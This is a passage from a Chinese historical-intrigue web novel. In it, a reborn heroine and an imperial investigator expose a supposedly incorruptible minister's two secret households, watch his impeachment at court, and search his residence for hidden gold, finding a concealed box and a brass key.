一个比一个年轻,一个比一个花容月貌。
而她早就人老珠黄。
“噗!”
林夫人再也忍不住,一口鲜血喷出。
她还一句话没说,就被气成这样。
容华芝赶紧上前把人
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扶住,宽慰:“林夫人,消消气。事情已经这样,得想办法解决才是最首要的。”
“老头子,你......”林夫人靠在容华芝怀里,吃力地抬起手,指着林叙卿,“你就没有什么话说吗?他为什么叫你爹?”
这时杜氏子感觉不对劲,放开林叙卿,转身看到一个老婆子。
居然敢直呼他爹是老头子。而且还穿得那么寒酸,哪里来的老东西。
他爹虽五十了,但看着还年轻,哪里就老了。
“哪里来的疯婆子,居然敢叫我爹老头子。”杜氏子冲林夫人吼道。
一副骄傲的纨绔子弟样。
他是同窗中,家里最富裕的,他有骄傲的资本。
而就在这时,门外又进来一个小子,比杜氏子还要大些,约十三四岁。
他刚散学归来,一进门就看到院子里站了这么多人,吓了一跳。
匆匆跑到向氏身边。
而他的样貌与林叙卿有六分相似。
“爹,娘,这些是什么人?”向氏子惊问。
可是没人回答他。
“好啊,林叙卿,你竟然在外面有两个儿子,养了两个外室。呜呜......”林夫人失去了所有力气,伤心地哭泣起来。
“林叙卿,我十六岁嫁给你,给你生儿育女,给你操持家务,你要做清官,我拿出嫁妆补贴家用。
你要送礼,我用嫁妆给你买,你要请客我用嫁妆补贴。
我想开铺子,你说那是末流,不让我开。我说买几亩薄田,你说等回了祖宅再买。
你一个三品京官,过得比七品的县令还不如,就为了得圣上一句夸你清正廉明。
可是你却背着我养了两个外室,还给你生了两个儿子,你看看她们穿的什么,你再看看我穿的什么。林叙卿,你还是人吗?”
林夫人哭倒在容华芝的怀里。
两个外室被吓得不轻,不自觉躲到林叙卿身后。
两人并不认识,尽管住得不远,可从没见过,也没有任何交集。
此时彼此才知道对方的存在。
“夫人......”林叙卿无话可说,被抓了个现行。
“你们是怎么到这里来的?”林叙卿为官多年,很快冷静下来。
怎么是霍夫人陪着老妻来的这里?
平时,两家并没有多少往来。
第57章 祸水东引
“林大人,今日家母去护国寺上香,正好遇到林夫人,就相约一起回城。
只是在路过承宇大街时,遇到皇城司办案,把路给封了,我们只好绕道。
正好路过这里,想进来讨口水喝。”
霍鸣羡简单解释道,说得条理清楚,听不出任何故意来此的可能。
这就是巧合。
“林叙卿,如果今日不是恰巧路过此地,你要瞒我到什么时候?我跟了你一辈子,你就是这么待我的?”林夫人还沉浸在自己的悲伤里。
还没想到此事一爆出,会给林家带来怎样的后果。
可是现在当着霍家母子的面,林叙卿也不知道如何是好。
“向氏,你先安排杜氏住在你这里,我带夫人先回去。其它事以后再说。”林叙卿对身后两个女人说了这句,走过来要扶林夫人。
可,事有更凑巧。
门口又进来三个身着巡城司服的官兵。
带头的居然是谢正阳。
他一进来,看到这么多人在,愣了一下。
当看到霍家母子时,略显尴尬。
又看到林大人时,尴尬变成惊讶。
“见过林大人,您怎会在此?”谢正阳怎么也想不到在这儿见到林叙卿。
“谢巡使,到此有何公干?”林叙卿故意摆起官架子。
他是正三品礼部侍郎,而谢正阳不过是巡城司的一个小队长。
连个正经官职都没有。
以前还有个忠义伯世子的身份,现在连这个都没了。
林叙卿并不把他看在眼里。
“林大人,离此两里左右的莲花巷有一户姓杜的人家起火,在下带人已把火灭了。有人说主家来了这里,在下特来询问主家,因何起火。”
杜氏躲在林叙卿身后,听了谢正阳的话,才错开身子露于人前。
“老爷,妾身也不知道怎么起的火。
火势太大,妾身才在路人的指引下找来这里。
说是看到您进了这家。
一开始妾身还不信,可引妾身来的两个姑娘说得信誓旦旦,妾身实在太害怕,就跟着来了。”
杜氏说到最后,一副犯了大错的模样,缩了缩身子。
她的话证实了谢正阳扑灭的房屋,正是她住的地方。
可谢正阳却被她的话惊得眼睛在杜氏和林叙卿身上来回扫视。
“林大人,她是?”谢正阳面露震惊。
林大人在京中的官声那是无人能及。
可今日他看到了什么?
谢正阳又在向氏身上扫了几眼,然后转向两个孩子,其中一个长得实在太像林大人。
又看到林夫人哭得快晕过去。
还有什么不明白的。
“谢巡使,多谢你带人灭火,那方小院的事你就不用管了,你忙你的去吧。”林叙卿打发人走。
他要处理家务,最好不要有外人在场。
今日之事肯定有蹊跷,但现在不是追究的时候。
谢正阳扫了众人一眼,知道自己误撞了不该撞的事。
一拱手,带着两名下属快速离去。
但他心里的八卦之火怎么也灭不了。
他得快些回府告诉父亲。
此事谢家要不要参一脚。
他把林大人的事捅出来,应该算立了一大功吧?
“霍夫人,霍大公子,本官有家务事要处理,你们先请回吧。”林叙卿向容华芝和霍鸣羡拱了拱手,作出请的手势。
这是强行赶人。
目的达到,他们母子自然不会久留。
躲在转角的霍凝玉,一直在马车里等着。
她看到谢正阳进去。
有些没明白,他怎么也来了此处?
就在这时,马车里窜进来一人。
正是赵炳煜。
“对本官的安排可还满意?”赵炳煜明显有求表扬的意思。
霍凝玉重重点头,笑得异常灿烂。
“承宇大街上的命案也是你安排的?”霍凝玉的双眼冒着崇拜的光芒。
她与他商量好的,分工合作。
但赵炳煜要做哪些事,她并不知道。
霍家只管做好他们分到的任务。
容华芝母子负责把林夫人带到这方小院,捉个现场。
她去把杜氏母子引到这方小院来。
让林大人的几个女人全集中一起。
而赵炳煜来配合他们成事。
“算是吧。”赵炳煜没有一口承认。
“什么叫算是吧?是就是,不是就不是。”霍凝玉对他的回答不太满意。
“他们两人都是京中纨绔,表面并没有矛盾。
但两人都有一个共同点,好色。
今日他们正好同时在那家酒楼宴请好友。
本官就安排了一个唱曲的姑娘去。”赵炳煜点到为止。
“哦,你肯定安排了一个我见犹怜又特别漂亮
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的姑娘去唱曲儿。
然后勾得两人都想下手。结果为了争这个姑娘,打起来了。
可也不至于从二楼摔下来就摔**吧?”霍凝玉想那高季辰也不至于这么弱。
“咳,他头朝下摔下的。”赵炳煜咳了一声,他的操作都被猜了个透。
姑娘太聪明。
“你让人暗中操作的?”霍凝玉古怪地看他一眼。
世上哪有那么巧的事?
而且这种事也不用皇城司来管,还有京兆府和巡城司的人呢。
“霍大小姐果然聪明,本官正好路过。顺便接手这个案子。定远侯家的五公子已经押入大牢,就看高家与定远侯孔家怎么博弈了。”
赵炳煜当然是故意的。
定远侯是辰王岳家,他还不敢把定远侯家的孩子搞没,但给定远侯添些堵还是不错的。
上次三皇孙落水,辰王占主犯。
不给他找些麻烦,对不起三皇孙。
“那为什么又把谢正阳牵扯进来?”这一点霍凝玉一时还没想明白。
她刚问完这话,就看到谢正阳从小院里出来。
他进去才那么点时间,能起什么作用?
“刚说你聪明,这么快就变笨了。”赵炳煜伸手刮了一下她的鼻子。
这动作,让两人都一僵。
霍凝玉脸突然暴红。
赵炳煜也不知道自己怎么就做了这个动作。
他是无意识的。
可他就是做了。
“咳,”赵炳煜手握成拳,放到嘴边又轻咳一声,掩饰尴尬。
“我把谢正阳引过来,让他看到林大人养外室,而且还一养就是两个,且两个都穿得比正妻还华贵。
再笨的人都知道怎么回事,他一定会捅到御使台。
他想立功。
而这事会捅了文官们的马蜂窝。
虽然林大人多次被圣上夸奖,身正清廉,但文官大多都有一股酸腐气。
表面对林大人恨,而实际也想效仿。
不过是做不到罢了。
谢正阳一旦做了,文官十有六七都会恨他。
而本官本就是圣上手里的一把刀,身上已经招了不少恨,还是能少一件是一件。”
说完,赵炳煜摸了摸下巴。
“原来赵大人这么会祸水东引。”霍凝玉笑得更灿烂。
谢正阳吃瘪,她当然高兴。
赵大人是故意为她出气的吗?
第58章 睡在他腿上
“本官是给他立功的机会。”赵炳煜说得一本正经。
霍凝玉心里偷笑。
是立了功,但得罪的人可不少。
两人聊着,透过窗户看到容华芝与霍鸣羡出来。
但刚才为了避开谢正阳,藏在一个拐角,母子俩都没看到马车,以为霍凝玉走了。
母女俩坐上马车消失在路的尽头。
霍凝玉还想再等会儿。
果然听到那方小院里传来吵闹声。
霍凝玉早就安排青风去听墙角。
过了大约半个时辰才回来。
“大人,小姐,林叙卿用三寸不烂之舌安抚好了林夫人。也交代了两个外室是怎么来的。
十多年前,林大人做钦差出京办差,下面的官员孝敬的美人。
林大人没顶住诱惑,笑纳了。带回京,悄悄安置在南城区。
林大人准备明日进宫向圣上陈情。”青风禀报。
“他想得倒美。”赵炳煜也猜到林叙卿会这么做。
“圣上会轻易放过他吗?”霍凝玉带着忧虑。
“你希望圣上放过还是不放过?”赵炳煜温声问道。
“当然不希望,他收**赂,而且金额巨大,就凭这点就犯了国法。也不知道他做钦差时,放过了多少官员,那就是包庇。”
霍凝玉想到前世林叙卿投向辰王阵营。
他就是被辰王看中,准备用来替换她爹的人选之一。
清算时,林叙卿上蹿下跳,很积极,给父亲找各种莫须有的罪状。
然,父亲死后,户部尚书之职并没有落到林叙卿身上,白忙活一场。
可父亲却看不到了。
她要撕破他伪善的真面目。
“好,如你所愿。”赵炳煜轻飘飘的几个字入了霍凝玉的耳。
听得霍凝玉心花怒放。
抱上赵大人的大腿就是好。
辰王的羽翼,从小到大,一个一个,慢慢来,都给他折了。
谢正阳和江宁也会在这场角逐中败下的。
她不急。
游戏要慢慢玩才有意思。
“走吧,本官送你回府。”赵炳煜对今日这一连串的大戏非常满意。
霍家出力最大,奖励霍小姐,屈尊降贵送她回府。
天色已暗,车夫在马车前挂起了走马灯。
两个丫鬟又自觉坐到车轼上,把空间留给小姐和赵大人。
“你想要什么奖赏?”静默了一会儿,赵炳煜打破沉默。
“让我想想。要不你请我大吃一顿?”霍凝玉想了想,只有这个比较合适。
“好!”赵炳煜爽快答应。
突然,车子一晃,霍凝玉没坐稳,跌进了赵炳煜怀里。
而她的两团柔软正好贴在赵炳煜大腿上。
这突如其来的意外,给了赵炳煜一个措手不及。
一股如电般的感觉瞬间传入大脑。
之前抱住她时,没有任何杂念。
可,此刻,他竟生出不该有的心思,那处竟有了反应。
其实只是一瞬间,霍凝玉意识到失态,立即就要起身。
赵炳煜动作更快,用手压住了她。
“回去还有一段距离,你可趴下睡会儿。”赵炳煜都不知道怎么就说出这句话。
他想她就这样趴在他腿上,不要离开。
如果她离开,他一定会感到失落。
“这怎么行?”霍凝玉想都不用想就要起来。
“你当我是你大哥。”赵炳煜加重了手上的力道。
霍凝玉没再动。
想到赵炳煜的身份,再想到他的身世。
他有家,等于没家。
经过这么多次的接触,他或许真把她当妹妹了。
他有父亲,却恨他。
他有弟妹,却没一个把他当亲人。
只有圣上对他还有点亲情。
可圣上日理万机,能有多少时间关怀他,不过提供一份庇护,让他能平安长大罢了。
他一定是个内心孤独寂寞的人。
这些日子,她主动找他帮忙。
她的主动靠近,难道让他对她产生了亲情?
霍凝玉想到前世死后,魂飘五年,没有人可以交流,没有人知道她的存在。
那种孤独与寂寞,她深深体会了五年。
有一年花灯节,她看着热闹的大街,挂满了各式各样的灯笼,可她只是一抹幽魂,没人知道她,也没有人能看见她。
那种孤寂,没有经历过的人,谁也无法理解。
霍凝玉没再动,乖乖趴在他腿上。
赵炳煜情不自禁,把手放在她头上,为她顺发。
丝滑的青丝,从指间流泻。
他又想到了早逝的母亲。
多么温婉的一个女子,总是带着亲切的微
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笑,看着他吃饭,看着他更衣,目送他去先生那里上课。
而当他离去,那笑再慢慢收起,恢复悲伤,落寞。
最终郁郁而终,就因得不到男人的心。
男人,有人多情,有人专情,有人却薄情。
他的父王,既专情又薄情。
他低下头,看着安静趴在他腿上的女子。
同样遇到专情又薄情的男人,可她却活得这么阳光,这么肆意。
第一次看到她,虽然哭着,但那绝决的模样,让他的心为之一颤。
所以他帮了她。
之后每次看到她,从没见她露出悲伤和落寞。
就算见到谢正阳也没有任何情绪波动,如同看一个陌生人。
如果当初他的母妃也活得如霍凝玉这般,他是否直到现在也有母妃关心?
有人关心他是否吃饱穿暖,有人为他操心婚事,有人在他耳边唠叨。
可是一切都只是如果,母妃在他七岁那年就永远离他而去。
两人之间的气氛微妙而静谧。
谁也没有说话,赵炳煜有一下没一下顺着她的发丝。
霍凝玉被顺得很舒服,马车一摇一晃间,竟然睡着了。
赵炳煜轻轻为她整理了一下睡姿,让她趴得舒服些。
**自己是怎么了,和霍凝玉待在一起,他的心特别安宁,此时此刻不想今日发生的事,也不想明日要如何行事。
只想放空心灵,只安安静静享受这难得的静谧。
可安宁的时光终有尽头。
“吁!”
马车停在了霍府门前。
霍鸣羡已经在大门外等了好些时候。
他以为妹妹已经回来,结果他和母亲到家一问,妹妹居然还没回来。
他很担心妹妹出什么意外,一直等在这里,不知道向来路张望了多少次。
终于看到马车慢慢驶来。
马车都没停稳,他就一掀车帘。
“妹妹!”
刚一出声,就戛然而止。
他看到了什么?
妹妹居然趴在一个男人的腿上睡着了,而且还睡得很香。
这怎么行?
伸手就要去推醒霍凝玉。
但赵炳煜动作比他更快。
抱起霍凝玉,弯腰走下马车。
“喂,赵大人,你这是什么意思?”霍鸣羡就要来抢人。
第59章 狂轰滥炸的**
可他没有武功,赵炳煜轻轻一躲就躲开了。
“带路。”赵炳煜说道。
霍鸣羡不想在大门口与他起争执,只得带路。
好在没走多远,霍凝玉就醒了。
还有些迷茫,看到天上的星空,才知道,天已经黑透。
又看到一张钟馗面具,自己的身子在一晃一晃的。
这才意识到自己在他怀里。
挣扎下地。
已经不是第一次,霍凝玉已不尴尬和羞涩。
“已经到家了?”看到大哥在旁,后知后觉。
哎呀,让大哥看到她被一个男子给抱进家门。
这要如何解释?
“赵大人,天色已晚,还请回。”霍鸣羡见妹妹醒来,立即赶人。
“你又立了大功,本官会为你请赏。”赵炳煜留下这句,向霍鸣羡拱了拱手,离去。
霍凝玉尴尬地看着他离去的背影。
“妹妹,你一个姑娘家,怎么能趴在一个外男腿上睡着?”霍鸣羡有种恨铁不成钢之感。
“大哥放心,他说让我把他当和你一样的大哥即可。没事的,与他亲近,以后才更利于我的计划。”霍凝玉无所谓地说道。
“哎,真拿你没办法,幸好没有外人看到。”霍鸣羡无奈。
翌日。
霍鹏程早早去上朝。
遇到同僚,个个都以异样的眼神看他。
“霍大人,快与我们说说,昨日霍夫人都看到了些什么?”鲁老王爷很八卦。
他是圣上的八皇叔,赵成鲁,先皇的八弟,只比当今圣上大三岁,老当益壮。
“臣参见鲁王爷。”霍鹏程恭敬见礼。
“行了,快说,你家夫人怎么那么巧就进了林叙卿养外室的院子?”鲁老王爷浑不在意地挥了挥手。
就想知道具体的。
只一个晚上,林叙卿养外室,而且还一养就是两个的事瞬间传遍整个京中贵圈。
十有九人都不相信。
林大人是谁,整个京中最清廉的官了。平时从不见他多花一文钱。
一身官服洗得发白,也舍不得换新。
本朝官员官服只免费发放第一次,后面要换新需自己花钱买,但也不贵,也就五两银子。
“回王爷,内人只是恰巧去了那方小院,看到林大人正好在那儿。他养的两个妾室也正好在。
不过听夫人说,那两个妾室穿得如富家夫人,反而林夫人穿得比较寒酸。”霍鹏程只简单说了说。
而就这点信息就说明了很多事。
林大人果然养外室。
林大人的清廉都是装出来的,不然哪里来的钱养外室。
霍鹏程的话音刚落,周围竖着耳朵听的官员们顿时像炸开了锅一般。
虽然还保持着朝臣的仪态,不敢高声喧哗。
但那压抑不住的窃窃私语声,如同无数只蜜蜂在嗡嗡作响。
“嘶,竟是真的。平日看他午饭只点两个菜,我还时常于心不忍,邀他同食,没想到竟是这般做派。”一位与林叙卿同部的员外郎倒吸一口凉气。
他身旁则是一位御史台的言官,捻着胡须,眼中闪烁着复杂的光芒。
既有鄙夷,也有抓到把柄的兴奋。
他的**折子连夜就写好了,此时就揣在怀里。
“知人知面不知心啊。霍夫人亲眼所见,断不会有假。
林大人装了这么多年,这‘清廉’的面具戴得可真是严实。
一面让发妻荆钗布裙,一面将外室打扮得珠光宝气,此等行径,何其伪善。”
“一养就是两个,林大人……他哪来的银钱?
他那点俸禄,把家里的开销除过,怕是连外室头上的珠钗都买不起吧?”
另一位年纪稍轻的官员凑过来,声音里带着难以置信。
但谁都听出他话里的意思。
“这还用问?”旁边一位胖乎乎的官员冷笑一声,压低声音,“定是另有来路。平日里装的两袖清风,怕不是把贪墨来的银子都花在这温柔乡里了。查,必须得查。”
“本官早就说过,他那一身清贫模样明显是刻意为之。如今看来,果然如此。
真是欺世盗名之徒,将我们都瞒骗了过去。”也有与林叙卿素来不太对付的官员,此刻语气带着讥讽。
“唉,只是苦了林夫人了。”一位年纪大些,颇重礼法的老臣摇头叹息,“结发之妻,操持家务,比不上外室光鲜。林叙卿此举,德行有亏啊,宠妾灭妻,纲常
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何在?”
“宁老,他这不算宠妾灭妻吧?都没带回家,而是养在外面。”
“他没带回家,就是对正室夫人的欺瞒,更是要不得。”
鲁老王爷听着周围的议论,满意地摸了摸下巴,对霍鹏程笑道:“瞧瞧,鹏程啊,你夫人这一眼,可是在咱们这潭水里扔下了一块大石头啊。今日早朝,怕是有热闹看喽。”
鲁老王爷一副看热闹不闲事儿大的模样。
他本就没什么事做,管管宗室那点破事,有了这等新鲜事,他异常兴奋。
霍鹏程面上依旧保持平静。
他知道,这些私语很快就会变成公开的**。
火,已经点着了,而且借着风势,正迅速蔓延开来。
他现在要做的,就是静观其变,必要时再添上一把火。
女儿已经与他讲了林叙卿后来的所作所为。
就在这纷乱的议论声中,金銮殿缓缓开启,内侍尖细的声音传来:“百官入朝!”
窃窃私语声戛然而止,众官员迅速整理衣冠,按品级列队,但每个人脸上都带着不同的神色。
可以预见,今日的朝会,注定不会平静。
乾德帝龙行虎步进入金銮殿。
奇怪的是,他身后居然跟着皇城司使,赵壑。
山呼万岁后,突然就安静下来。
“有事启凑,无事退朝。”大总管林德全照例高唱。
“臣有事启凑。”御史台梁御史第一个积极站出来。
“臣**礼部侍郎林叙卿私养外室,德行有亏,欺瞒家中老妻,欺瞒众官,欺瞒百姓,更欺瞒皇上。此等欺世盗名之徒,应革去官职查办。”梁御史说得激昂慷慨。
手中的折子高举过头顶。
林德全走下台阶,接过折子递给乾德帝。
皇上还没来得及看。
又有几位官员纷纷出列**林叙卿。
个个都情绪激动,把林叙卿说得更是不堪入目。
简直是狂轰滥炸。
等到各朝臣**一遍,大家才看到皇上只是静静听着。
众人这才发现,他们**的主角居然不在场。
林叙卿莫不是亏心,不敢来上朝?
怕被同僚的口水给淹没?
第60章 围府搜查
“皇上,林叙卿竟然逃了。”一个官员突发奇想。
乾德帝向赵炳煜使了个眼色。
赵炳煜击掌三声。
殿外进来两个御前侍卫,他们正押着被众人口诛笔伐的林叙卿。
那垂头丧气的狼狈样,比霜打过的茄子还蔫。
哪有平时的一本正经,昂首挺胸时的官威。
被重重地推搡着到御前。
“扑通”跪下。
“皇上,微臣知错。微臣猪油蒙了心,微臣对不起皇上这么多年来的器重,微臣知错......”林叙卿不停叩头认错。
一把老骨头,匍匐在地。
宫门一开,他第一个进宫,等在皇帝来金銮殿的必经之路上,想提前求皇帝恕罪。
结果刚一跪下就被两个御前侍卫拿下。
不给他半点求饶的机会。
刚才他一直在殿外听着同僚们的各种**之声。
深秋露重的清晨,他已惊出一身冷汗。
这关要如何过?
“林叙卿,你骗了整个京城人,你怎么好意思求皇上恕罪?”梁御史又是第一个跳出来嚷嚷。
霍鹏程看了一眼老岳父,容敬清,都御史。
老岳父自始至终没说一句话,只让梁御史蹦跶。
昨夜他就写了信给岳父大人。
岳父大人当真没冲在最前面。
很好。
女儿已经告诉他这个梁御史与林叙卿没什么两样。
回头等他的事情也暴露出来,看他还有什么脸活。
“皇上恕罪......”林叙卿像没听到似的,还在不停叩头。
“肃静!”林德全适时高喊。
殿内瞬间安静。
乾德帝已经看完手里的折子。
而他旁边还有几个折子。
他一并扔到林叙卿面前。
“林叙卿,你太让朕失望了。朕以为你一心为官,替朕分忧。
然,这么多年的榜样,你却打了朕好大一个耳光,你让朕如何饶恕?”乾德帝这才面无表情地开始申饬。
而他昨晚就知道了所有事情,赵炳煜一离开霍府就进了宫。
经过一夜的冷静,乾德帝已没多大情绪变化。
他本就注意养生,不是特别重大的事情,很难引起他的情绪变化。
真正做到喜怒不形于色。
“微臣知错!”林叙卿只得这一句,他无可辩驳。
“朝廷每月发给你的俸禄就是给你养外室的?”乾德帝失望问道。
“皇上,林大人家两个儿子,两个女儿,四个孙辈,二十几个奴仆。
正三品的官职,每月的俸禄只够养一大家子,还养不起外室,更养不起两个。
听说那两个外室身上穿的都是绸缎料子,头上的首饰更是价值不菲。
两个外室生的儿子也如世家公子那般穿得好,腰间的玉佩至少价值五百两。
反而林夫人难得穿一件好衣服。他一定还有别的收入来源。请皇上彻查。”梁御史不放过这个表现的机会。
“皇上,昨晚犬子只匆匆看了一眼,的确如梁大人所言。”忠义伯适时补充。
把林叙卿还有其他收入做实。
“父皇,儿臣以为,林大人养得起外室,他的夫人嫁妆不少,应是用了林夫人的嫁妆,虽不耻,但也情有可原。
这么多年,他为朝廷尽忠尽职,在差事上从不马虎,不过是在私生活上瞒了世人。
他不过是想树立一个清正廉洁的形象在人前罢了。这并不是多大的错。
在场各位朝官,据本宫所知,也就霍尚书和林侍郎家没有妾,哪家没有?
现在林侍郎也算有妾,过个明路,接回家就是,与你们有何不同?”
这时辰王出列,说出与众人不同的看法。
众人听了辰王的话,也觉甚有道理。
不过是林大人在他们心中的形象突然坍塌而已。
外室一报出,只要身家清白,接回家,与他们也就一样了。
同时也不用皇上经常拿他做榜样。
梁御史不敢再出头,他心里也打起了小九九。
他也养了外室,万一哪天被发现,今日林大人的事就是前例,也就不显突兀。
“父皇,儿臣以为,还是搜查一下林府,看看是否故意装穷。”霁王故意与辰王作对。
他明里暗里都盯着大皇兄,林叙卿就是他的人。
如果趁机革了林叙卿的职,大皇兄自是少了一份助力。
“温爱卿,你如何看?”乾德帝问一直没出声的丞相大人。
“老臣以为可以查一下林侍郎的家底。如果只是挪用夫人嫁妆养外室,那是他的家事,如果他隐瞒钱财来源,那就要细查了。”温思邈说话不偏不倚。
查一查,没有是好事,有,那就是有罪,不可放过。
乾德帝听
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了满意地点点头。
“赵壑。”
“臣在。”赵炳煜一拱手。
“朕命你即刻带一百禁卫和皇城司的人前往林家搜查,不得有误。”乾德帝命令道。
“臣领旨。”
林叙卿听到辰王为他说话,松了一口气。
可听到皇上要搜查家里,心里又一慌,但想到自己藏钱的方式,应该能躲过皇城司。
皇城司的能力,在他眼里也不过尔尔。
连普陀庵的案子都查了那么久,还是一个女人帮忙才查清。
林叙卿被带下去,朝会继续。
——
霍凝玉起了个大早,她想看看昨日之事会如何发展。
让青风随时留意京中的动静,一有什么异动立即告诉她。
手里有人用就是方便。
霍家只有十个护卫,能力有限。
青风可是圣上给赵炳煜的人手,那能力毋庸置疑。
对于赵炳煜把青风临时给她用,一点没觉得占了大便宜。
她帮着做了几件大事,对得起这份特殊照顾。
不过青风在她手里已经不算暗卫,只是需要的时候才让他隐去。
平时就与府中护卫住一起。
刚吃过早膳,青风匆匆来报。
“小姐,大人带着一百禁卫围了林府。”
“走,我们去看看。”霍凝玉对这个案子很感兴趣。
这可是她一手参与,计谋是一家人想出来,再找赵炳煜商量定下的。
一个月时间,林大人才把自己的财产转移回家,她想知道能从林大人家搜出多少金银。
不知道会不会把圣上给气着。
她得去提醒一下赵大人,要是数额太大,在报数给圣上时,最好把太医请到圣上身边。
驾了马车,来到林府附近,霍凝玉看到一百禁卫已经围了林府,把林府里的主子奴仆全都赶了出来。
霍凝玉看到一个抱孩子的妇人,正是林家大儿媳妇。
才刚出月子。
赵炳煜真不懂爱护幼小。
此时秋凉已浓,让一个刚出月的孩子在外吹秋风。有点**道。
回头得提醒一下他,做事不要落人话柄。
据她所知,林夫人真不知道自己夫君所做的一切,儿子儿媳更不知道。
等了半个时辰,赵炳煜从里面出来。
“青风,去把你家主子叫过来。”霍凝玉看出不对劲。
第61章 掘地三尺也要找出来
赵炳煜一出林府就看到不远处的马车,又看到青风,就知道霍凝玉在马车里。
向这边走来。
“赵大人,办差呢。”霍凝玉明媚的笑脸出现在车窗处。
“嗯,你怎么来了?”赵炳煜平和的声音,听不出喜怒。
“有没有找到林大人藏起来的金子?”
“目前还没有。”赵炳煜如实说道。
“我们不是看见他把钱转移回了林府吗?”霍凝玉皱眉。
“还在找。”赵炳煜让禁卫围了林府,余征和林宇正领着皇城司的人正在仔细搜查。
只是出乎他的意料,目标明确都没找到。已经半个时辰过去。
林府并不大。
又等了半刻钟,余征还没出来,说明还没找到。
要是真找不到,林叙卿的罪行就定不下,最多就是德行有亏,养外室,治不了大罪。
京中官员偷养外室的不知多少。
“赵大人,要不,带我进去看看?”霍凝玉想去实地查看。
看看自己会不会运气好些。
如果这次不能一次性把林叙卿按死,以后可能还会再起复,到时仍是辰王的助力。
“好。”
赵炳煜带着霍凝玉从侧门进去。
没让林家人看到。
林府只有两进,住着林叙卿夫妻和两个儿子。
还有二十个奴仆,相对有些小。
房子比较陈旧,上一辈人留下的,已多年没有翻新过。
他把自己清贫的形象扮得可真到位。
“头儿,我们各处都搜过了,硬是没找到那些金银。”这时余征过来禀报。
“有没有查到密室?”赵炳煜问道。
“是有一个,但里面除了林大人自己画的字画和一些皇上赏赐的东西,再没有其他。”
“走,带本官去看看。”
几人来到林叙卿的书房。
一张大案台下,有个入口。
下去,果然如余征所说。
东西不多。
霍凝玉在密室的墙壁上敲了敲,没有异常。
是石墙,没听出空响。
说明是实体,墙里没有东西。
这么重要的东西,林叙卿不放在密室,会放在哪里?
霍凝玉百思不得其解。
“余征,除了这个密室,还有没有其他密室?”赵炳煜问道。
“头儿,目前我们只发现这一个。”
“再把每个房间仔细搜查一遍,尤其林叙卿的卧房。”
余征带着人又继续搜查。
可是还是没有搜到。
也没发现密室。
“这就奇怪了。赵大人,你确定林叙卿把钱都转移回了林府?”霍凝玉与他只看了一晚。
后来霍凝玉没再关注。
“自发现他养外室,本官就一直派人跟踪他,后来一个月里,他每三日去外宅运几筐菜回家。”赵炳煜解释道。
还有两个晚上是他亲自跟踪的,那些筐在搬入林府时,抬的人抬得很吃力。就知里面装的都是重物。
有了第一晚的发现,必定是金银无疑。
“对了,林叙卿的那些暗卫呢?”霍凝玉突然想到这个问题。
“本官带着兵来,那些人就知事情不妙,躲了。由此,本官猜测,那些人不是林府自己培养的暗卫,而是花钱请的江湖中人。”
“哦,原来如此,我就说呢,一个文官,哪里来的能力培养暗卫。又不是武将家,有那个家底。”
霍凝玉魂飘时把京中每个大户都逛过,哪些人家有暗卫,她最清楚。
不过那是几个月后。
“赵大人,我们也搜查一下吧。”霍凝玉提议。
她来的目的就是想自己查。
“好。”
两人一起自成一组。
从外院开始,把每个房间都仔细查看。
当看到林夫人的梳妆台上就那么几件老式首饰时,她为林夫人不值。
明明嫁得很好,三品大员,却过着清贫的日子。
当然,也不能算太清贫,比普通百姓自是强得多。
有奴仆,有马车。
她自己的嫁妆应该也不少。
或许是林叙卿要求她对外如此做的。
可是两人把每一间房都看过,什么也没发现。
“这就奇怪了,他会把钱藏在哪里?”霍凝玉想了又想,也想不出个所以然来。
“看看院子,有没有被挖过的痕迹。”赵炳煜提议。
两人又认真把小小的院子仔细看了一遍,也没看出问题。
没有任何被挖掘过的痕迹。
挖掘动静太大,林夫人不可能不知道。
他连自己夫人都瞒着的事,必定做得更隐蔽。
两人无奈相视。
但一定在林府里。
“余
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征,掘地三尺也要找出来。”赵炳煜明显已经有了火气。
“是。”余征领命。
很快,院子里开始挖掘起来。
“赵大人,我们再搜查一次吧。”霍凝玉有种预感,挖地可能也没有结果。
这是常人的想法,不是藏在密室就是埋在地下。
而林叙卿明显是个聪明人,多半不会按常人的思路走。
两人又把各个房间再次查看了一遍,仍旧一无所获。
“赵大人,我觉得还是书房的可能性最大。我们再好好研究一下林大人的书房吧。”霍凝玉想了想,道。
“嗯。”赵炳煜也觉得藏在书房的可能性大。
两人再次来到书房,赵炳煜爬上房梁去检查。
而霍凝玉则继续查看书房,她的目光缓缓扫过这间不大的书房。
看看有没有可能还有一个密室的机关。
方才他们已经仔细翻检过书架,桌案,只差没把每一本书都拿起来抖一抖,却一无所获。
“赵大人,你不觉得这书房有些过于……整齐了吗?”霍凝玉忽然开口。
赵炳煜从房梁上往下看。
确实,与其他房间相比,这书房简直一尘不染,书册排列得一丝不苟,笔墨纸砚各归其位,就连墙上的山水画都挂得端端正正。
“林叙卿是个谨慎的人。”赵炳煜道。
“谨慎之人,往往也有自己的习惯和偏好。”霍凝玉走到书架前,手指轻轻拂过书脊。
“这些书按经史子集分类,大小一致,摆放得严丝合缝。但你看这里。”她指向书架下层一处不起眼的角落。
那里放着几本史书,但书脊的颜色略有深浅差异。
刚才他们好像把这个角落遗漏了。
赵炳煜跳下房梁,走近细看,果然发现其中两本书的书脊颜色比旁边的稍新一些。
他伸手想将书取出,却发现这两本书被卡得异常紧实,好像不是单独放置,而是与什么东西连在了一起。
“不对。”赵炳煜微微用力,感觉到不对劲。
那两本书连同后面的一块木板竟被一起抽出。
原来那并非真正的书,而是一个巧妙的木质书形挡板。
挡板之后,墙上赫然露出一个不大的凹槽,里面放着一只小巧的紫檀木盒。
“那是什么?”霍凝玉眼睛一亮。
第62章 找金子,你又立了大功
赵炳煜取出木盒,打开一看,里面只有一枚私印和几封信件。
他打开信件一封封看,是林叙卿做知府时的下属写来的信,而信的内容让赵炳煜一时没看明白。
表面都是些问候语,但他知道能被藏得这么好的信,必定不简单。
应是用了暗语。
回头再慢慢研究。
“难道只是我们想多了?金银并没有藏在书房。”霍凝玉难掩失望。
赵炳煜却不死心,他将那木质挡板拿在手中反复端详。
这挡板做工精细,与真书几乎无异。
他轻轻敲击挡板背面,传来的声音带着淡淡空响,说明里面有空间。
指尖仔细摸索,在边缘处发现了一道几不可察的缝隙。
“有夹层。”赵炳煜发现异样。
从长靴里取出一把**,小心翼翼地撬开夹层。里面果然藏着一把奇特的黄铜钥匙。
“钥匙?这书房里有什么需要上锁的东西吗?”霍凝玉接过钥匙仔细端详。
两人环顾书房。
除了书桌抽屉上的普通铜锁,并未发现其他需要用到钥匙的地方。
